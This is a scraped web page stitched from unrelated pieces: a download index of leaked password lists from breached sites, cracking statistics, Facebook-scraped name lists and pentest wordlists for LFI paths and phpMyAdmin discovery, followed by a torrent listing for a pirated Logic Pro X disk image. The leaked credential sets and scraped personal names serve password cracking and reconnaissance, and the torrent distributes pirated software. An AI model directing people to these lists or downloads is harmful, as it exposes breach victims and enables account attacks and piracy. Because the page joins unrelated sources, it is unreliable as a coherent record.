Unknown porn site - w/ count porn-unknown-withcount.txt.bz2 (31,899 bytes) n/a
Ultimate Strip Club Listtuscl.txt.bz2 (176,291 bytes) n/a 2010-09 Thanks to Mark Baggett for finding!
Ultimate Strip Club List - w/ count tuscl-withcount.txt.bz2 (182,441 bytes) n/a
[Facebook Phished] facebook-phished.txt.bz2 (14,457 bytes) n/a 2010-09 Thanks to Andrew Orr for reporting
Facebook Phished - w/ count facebook-phished-withcount.txt.bz2 (14,941 bytes) n/a
Carders.cc carders.cc.txt.bz2 (8,936 bytes) n/a 2010-05
Carders.cc - w/ count carders.cc-withcount.txt.bz2 (9,774 bytes) n/a
Singles.org singles.org.txt.bz2 (50,697 bytes) n/a 2010-10
Singles.org - w/ count singles.org-withcount.txt.bz2 (52,884 bytes) n/a
Unnamed financial site (reserved) (reserved) 2010-12
Unnamed financial site - w/ count (reserved) (reserved)
Gawker (reserved) (reserved) 2010-12
Gawker - w/ count (reserved) (reserved)
Free-Hack.com (reserved) (reserved) 2010-12
Free-Hack.com w/count (reserved) (reserved)
Carders.cc (second time hacked) (reserved) (reserved) 2010-12
Carders.cc w/count (second time hacked) (reserved) (reserved)

Statistics

I did some tests of my various dictionaries against the different sets of leaked passwords. I grouped them by the password set they were trying to crack:
cracked_500worst.png
cracked_elitehackers.png
cracked_faithwriters.png
cracked_hak5.png
cracked_hotmail.png
cracked_myspace.png
cracked_phpbb.png
cracked_rockyou.png
Miscellaneous non-hacking dictionaries

These are dictionaries of words (etc), not passwords. They may be useful for one reason or another.
Name Compressed Uncompressed Notes
English english.txt.bz2 (1,368,101 bytes) n/a My combination of a couple lists, from Andrew Orr, Brandon Enright, and Seth
German german.txt.bz2 (2,371,487 bytes) n/a Compiled by Brandon Enright
American citiesus_cities.txt.bz2 (77,081 bytes) n/a Generated by RSnake
"Porno"porno.txt.bz2 (7,158,285 bytes) n/a World's largest porno password collection!
Created by Matt Weir
Honeynet honeynet.txt.bz2 (889,525 bytes) n/a From a honeynet run by Joshua Gimer
Honeynet - w/ count honeynet-withcount.txt.bz2 (901,868 bytes) n/a
File locations file-locations.txt.bz2 (1,724 bytes) n/a Potential logfile locations (for LFI, etc).
Thanks to Seth!
Fuzzing strings (Python) fuzzing-strings.txt.bz2 (276 bytes) n/a Thanks to Seth!
PHPMyAdmin locations phpmyadmin-locations.txt.bz2 (304 bytes) n/a Potential PHPMyAdmin locations.
Thanks to Seth!
Web extensions web-extensions.txt.bz2 (117 bytes) n/a Common extensions for Web files.
Thanks to dirb!
Web mutations web-mutations.txt.bz2 (177 bytes) n/a Common 'mutations' for Web files.
Thanks to dirb!


DirBuster has some awesome lists, too -- usernames and filenames.
Facebook lists

These are the lists I generated from this data. Some are more useful than others as password lists. All lists are sorted by commonness.

If you want a bunch of these, I highly recommend using the torrent. It's faster, and you'll get them all at once.
Name Compressed Uncompressed Date Notes
Full names facebook-names-unique.txt.bz2 (479,332,623 bytes) n/a 2010-08
Full names - w/ count facebook-names-withcount.txt.bz2 (477,274,173 bytes) n/a
First names facebook-firstnames.txt.bz2 (16,464,124 bytes) n/a 2010-08
First names - w/ count facebook-firstnames-withcount.txt.bz2 (73,134,218 bytes) n/a
Last names facebook-lastnames.txt.bz2 (21,176,444 bytes) n/a 2010-08
Last names - w/ count facebook-lastnames-withcount.txt.bz2 (21,166,232 bytes) n/a
First initial last names facebook-f.last.txt.bz2 (67,110,776 bytes) n/a 2010-08
First initial last names - w/ count facebook-f.last-withcount.txt.bz2 (66,348,431 bytes) n/a
First name last initial facebook-first.l.txt.bz2 (37,463,798 bytes) n/a 2010-08
First name last initial facebook-first.l-withcount.txt.bz2 (36,932,295 bytes) n/a


Logic Pro X 10.2.4

$
0
0
NameLogic Pro X 10.2.4 OS X [dada]
Size1.32 GB
Created on2016-07-07 17:03:40
Hasha3440cd71a6e485b64348ee95abd16e68409f994
FilesLogic Pro X 10.2.4 OS X [dada]/Logic Pro X 10.2.4 OS X [dada].dmg (1.32 GB)
Logic Pro X 10.2.4 OS X [dada]/Torrent downloaded from Demonoid.ooo.txt (0.05 kB)
Logic Pro X 10.2.4 OS X [dada]/Torrent downloaded from future-dada torrents at btstorr.cc.txt (0.13 kB)
Logic Pro X 10.2.4 OS X [dada]/Torrent downloaded from torrent-core.org.txt (0.05 kB






DescriptionName:

 Logic Pro X Version: 10.2.4 Release Date: July 01, 2016 Languages: English, French, German, Japanese, Simplified Chinese, Spanish Developer: Apple MAS Rating: 4+ Mac Platform: Intel OS Version: OS X 10.10 or later Processor type(s) & speed: 64-bit processor More information: http://www.apple.com/logic-pro/ Mac App Store: https://itunes.apple.com/app/logic-pro-x/id634148309?mt=12 

Overview:

 Logic Pro X is the most advanced version of Logic ever. Sophisticated tools for professional songwriting, editing, and mixing are built around a modern interface that’s designed to get creative results quickly and also deliver more power whenever it’s needed. Logic Pro X includes a massive collection of instruments, effects, and loops, providing a complete toolkit to create amazing-sounding music. Powerful Interface • Consolidate and control multiple tracks or create rich, layered instruments with Track Stacks • Smart Controls allow you to manipulate multiple plug-ins and parameters with a single move • An enhanced Mixer lets you move, copy, and bypass channel inserts more efficiently • Quickly re-order song sections and try new ideas using Arrangement Markers • Autosave keeps your work safe and sound • 64-bit architecture supports large projects containing hundreds of tracks and sampled instruments Professional Music Production • Fix out-of-tune vocals and change the melodies of recorded audio with Flex Pitch • Manipulate the timing and tempo of any recording with ease using Flex Time • Record and seamlessly punch in and out of one or multiple tracks • Keep takes organized with take folders and build comps quickly with Quick Swipe Comping • Automation can be part of a region, not just the track, which makes it easier to use effects creatively • Create and mix music from anywhere in the room using Logic Remote on iPad • Produce simple lead sheets or orchestral scores with built-in Score editor • Create and edit MIDI using a comprehensive set of editors and tools Drum Production • Create authentic acoustic, electronic, or hip hop drum tracks using Drummer, a virtual session player and beat producer • Choose among 28 distinct drummers that can take your direction and perform millions of unique grooves • Build your own acoustic drum kits with Drum Kit Designer using a diverse collection of deeply sampled, professionally mixed snares, toms, kicks, hi-hats, and cymbals • Customize the sound of your electronic beats using Drum Machine Designer Keyboards and Synths • Get inspired by collection of synths that provide analog, wavetable, FM, additive, granular, spectral, and modeling synthesis • Quickly find sounds or create unique new ones with Alchemy, the ultimate sample manipulation synthesizer • Play or create a wide variety of rich sampled instruments with the EXS24 Sampler • Instantly turn a simple chord into a rich performance with the Arpeggiator • Transform simple ideas into elaborate performances using nine MIDI plug-ins • Create classic ’70s- and ’80s-style synthesizer tracks using Retro Synth • Play faithful models of vintage keyboards with Vintage B3, Vintage Electric Piano, and Vintage Clav Guitar and Bass Gear • Build your own guitar or bass rig with Amp Designer using vintage and modern amps, cabinets, and mics • Design a custom Pedalboard from a collection of delay, distortion, and modulation stompboxes • Access the Tuner with just a click to quickly get in tune Creative and Production Effects • Play your sounds through realistic acoustic spaces using Space Designer convolution reverb • Use a range of multi-tap, vintage tape, and stereo delays • Add movement to your tracks with a variety of modulation effects Sound Library • Over 1800 instrument and effect Patches • More than 750 meticulously sampled instruments • 4600 Apple Loops in modern urban and electronic genres Compatibility • Expand your instrument and effects library with third-party Audio Units-compatible plug-ins • Import and export XML to support Final Cut Pro X workflows • Export and share your songs directly to SoundCloud • Open projects from Logic 5 or later Minimum System Requirements 4GB RAM Display with 1280-by-768 resolution or higher OS X v10.10 or later Requires 64-bit Audio Units plug-ins 6GB available disk space for minimum install / 45GB hard disk for full Sound Library installation 

What's New in Version 10.2.4:

 This update contains stability improvements and bug fixes. Other recent Improvements: • Crossfades between comp sections in Take Folders can now be graphically edited • Ability to enable click zones for Take Folders to provide simultaneous access to editing and Quick Swipe Comping • Improves sound quality for Flex Pitch editing • 7 additional plug-ins have been redesigned to add Retina support and improve usability • New Loudness Meter plug-in provides support for LUFS metering • Nudge controls can now be used to edit the position of selected automation points • Icons for Drum Machine Designer cells are now user assignable • All Alchemy presets now include names for Transform Pad snapshots • 3 new traditional Chinese instrument Patches for pipa, erhu and percussion • Over 300 new Chinese instrument Apple Loops

Viewing all 21272 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>